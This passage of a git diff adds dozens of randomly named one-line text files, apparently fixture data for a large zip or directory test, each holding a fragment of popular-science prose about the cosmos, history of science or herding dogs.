+distinguishes our species is thought. The cerebral cortex is a liberation. We need no longer
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_baimxlghetjlnfknzomvhned.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_baimxlghetjlnfknzomvhned.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_baimxlghetjlnfknzomvhned.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_cmfuxksd.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_cmfuxksd.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_cmfuxksd.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_fqiolabmmcgadtvsngc.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_fqiolabmmcgadtvsngc.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_fqiolabmmcgadtvsngc.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_hnpmaewekyon.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_hnpmaewekyon.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_hnpmaewekyon.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_hpkveajzqrmsenax.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_hpkveajzqrmsenax.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_hpkveajzqrmsenax.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_lwvxvjafzxlgeen.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_lwvxvjafzxlgeen.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_lwvxvjafzxlgeen.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_mpzdszqcvxxke.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_mpzdszqcvxxke.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_mpzdszqcvxxke.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_nkoerclunwfzdu.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_nkoerclunwfzdu.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_nkoerclunwfzdu.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_qzqghomgdivkfyqnnhzz.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_qzqghomgdivkfyqnnhzz.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_qzqghomgdivkfyqnnhzz.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_ucmilsgixhhrugrgpxkw.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_ucmilsgixhhrugrgpxkw.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_ucmilsgixhhrugrgpxkw.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_wxsjesiqhj.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_wxsjesiqhj.txt
new file mode 100644
index 0000000..bd11629
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/file_wxsjesiqhj.txt
@@ -0,0 +1 @@
+despairs, tenderness and aggression, even our analytical processes - all of these are, at least
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/fjswsmhmrvzqmdun.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/fjswsmhmrvzqmdun.txt
new file mode 100644
index 0000000..2853799
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/fjswsmhmrvzqmdun.txt
@@ -0,0 +1 @@
+particular spectral lines observed are often characteristic of very thin, diffuse gas, and not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/hsfbdbiycyheikgqthajeoik.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/hsfbdbiycyheikgqthajeoik.txt
new file mode 100644
index 0000000..cad73cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/hsfbdbiycyheikgqthajeoik.txt
@@ -0,0 +1 @@
+water if I were dumb enough to leave my finger on the neck. Empedocles had discovered
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ljgarvpicgjipenkditizg.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ljgarvpicgjipenkditizg.txt
new file mode 100644
index 0000000..d1ecd13
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ljgarvpicgjipenkditizg.txt
@@ -0,0 +1 @@
+Later in his life, Newton presided over the Royal Society, a fellowship of scientists,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/npahnrjrtrloe.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/npahnrjrtrloe.txt
new file mode 100644
index 0000000..da70598
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/npahnrjrtrloe.txt
@@ -0,0 +1 @@
+our estimates of the early factors in the Drake equation, which involved astronomy, organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/sbtjwbnbcbcxbvub.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/sbtjwbnbcbcxbvub.txt
new file mode 100644
index 0000000..a438ad0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/sbtjwbnbcbcxbvub.txt
@@ -0,0 +1 @@
+intermediate case.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/spvqmzhbrqgseybff.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/spvqmzhbrqgseybff.txt
new file mode 100644
index 0000000..671c150
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/spvqmzhbrqgseybff.txt
@@ -0,0 +1 @@
+cell structure and biochemistry is not immediately reflected in the external forms revealed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/syczmfkfn.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/syczmfkfn.txt
new file mode 100644
index 0000000..1610aaa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/syczmfkfn.txt
@@ -0,0 +1 @@
+the creative power of the Cosmos. The boy’s curiosity conquered his fear. He wished to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tbzkyfonuawysptknkdkmi.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tbzkyfonuawysptknkdkmi.txt
new file mode 100644
index 0000000..ce99ee0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tbzkyfonuawysptknkdkmi.txt
@@ -0,0 +1 @@
+The size and age of the Cosmos are beyond ordinary human understanding. Lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tewzhorawerbe.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tewzhorawerbe.txt
new file mode 100644
index 0000000..294e167
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tewzhorawerbe.txt
@@ -0,0 +1 @@
+fragment with the Earth, as at Tunguska, should occur about once every thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tkhbvkfsh.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tkhbvkfsh.txt
new file mode 100644
index 0000000..71985fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/tkhbvkfsh.txt
@@ -0,0 +1 @@
+return tens of billions of years in our future - to find the Earth a charred cinder and the Sun
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ublpymye.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ublpymye.txt
new file mode 100644
index 0000000..2b85394
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ublpymye.txt
@@ -0,0 +1 @@
+could arise, in fermenting grape juice or rotting meat, entirely independent of preexisting
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/xkqibxhsakowqocptmoxvx.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/xkqibxhsakowqocptmoxvx.txt
new file mode 100644
index 0000000..0e74142
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/xkqibxhsakowqocptmoxvx.txt
@@ -0,0 +1 @@
+universe; it lies, inaccessible, in the third dimension, inside the sphere. While there is only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_hvetonpnpqhoyyyfoxe.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_hvetonpnpqhoyyyfoxe.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_hvetonpnpqhoyyyfoxe.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_ididylukey.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_ididylukey.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_ididylukey.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_idptfoqkoudgknkp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_idptfoqkoudgknkp.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_idptfoqkoudgknkp.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_ipcfutzjb.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_ipcfutzjb.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_ipcfutzjb.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_joprfffafezv.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_joprfffafezv.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_joprfffafezv.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_jrbuejnwflirctxwagdrevt.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_jrbuejnwflirctxwagdrevt.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_jrbuejnwflirctxwagdrevt.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_jtmnepsvpdlfvhndzeq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_jtmnepsvpdlfvhndzeq.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_jtmnepsvpdlfvhndzeq.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_mqgdcfafhdhothxgznbifge.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_mqgdcfafhdhothxgznbifge.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_mqgdcfafhdhothxgznbifge.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_nbnzrhmmdwnjmndpxy.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_nbnzrhmmdwnjmndpxy.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_nbnzrhmmdwnjmndpxy.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_oyxtpypb.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_oyxtpypb.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_oyxtpypb.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_pcqtfxsusxdhh.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_pcqtfxsusxdhh.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_pcqtfxsusxdhh.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_pnujabcgsxjzjpcv.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_pnujabcgsxjzjpcv.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_pnujabcgsxjzjpcv.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_vczsodvyvp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_vczsodvyvp.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_vczsodvyvp.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_vspovawibgwcblgbko.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_vspovawibgwcblgbko.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_vspovawibgwcblgbko.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_wnsmxyysts.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_wnsmxyysts.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_wnsmxyysts.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_yaabcopvzdimhg.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_yaabcopvzdimhg.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_yaabcopvzdimhg.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_yakdjtxcaxmfrikkbv.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_yakdjtxcaxmfrikkbv.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_yakdjtxcaxmfrikkbv.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_ybnqkctwuwkmyvqdjcy.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_ybnqkctwuwkmyvqdjcy.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_ybnqkctwuwkmyvqdjcy.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_yowpcpkahppunawoxbfq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_yowpcpkahppunawoxbfq.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_yowpcpkahppunawoxbfq.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_yprgmbqxjkuby.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_yprgmbqxjkuby.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_yprgmbqxjkuby.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/file_zpitlkdshsrtjai.txt b/big_zip/big-zip-files/folder_yxrogskwkf/file_zpitlkdshsrtjai.txt
new file mode 100644
index 0000000..773cf7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/file_zpitlkdshsrtjai.txt
@@ -0,0 +1 @@
+obedient and had some pre-existing talent to herd, which is useful for animals who hunt in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_bujqsotuumqixd.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_bujqsotuumqixd.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_bujqsotuumqixd.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_dgjjaqhpbnskvmpbwyrq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_dgjjaqhpbnskvmpbwyrq.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_dgjjaqhpbnskvmpbwyrq.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_eyniqvqptoxypxnqfqim.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_eyniqvqptoxypxnqfqim.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_eyniqvqptoxypxnqfqim.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_gwzafkds.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_gwzafkds.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_gwzafkds.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_iojbelqrwwxrfxrppnmlu.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_iojbelqrwwxrfxrppnmlu.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_iojbelqrwwxrfxrppnmlu.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_jaqvjtfhgvslgyd.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_jaqvjtfhgvslgyd.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_jaqvjtfhgvslgyd.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_mlchmdivd.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_mlchmdivd.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_mlchmdivd.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_mnjdnotmxnjmj.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_mnjdnotmxnjmj.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_mnjdnotmxnjmj.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_nsxbnbwqw.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_nsxbnbwqw.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_nsxbnbwqw.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_oruubvhexyyfbldwnfxyp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_oruubvhexyyfbldwnfxyp.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_oruubvhexyyfbldwnfxyp.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_ozzxvgilyhrcvbp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_ozzxvgilyhrcvbp.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_ozzxvgilyhrcvbp.txt
@@ -0,0 +1 @@
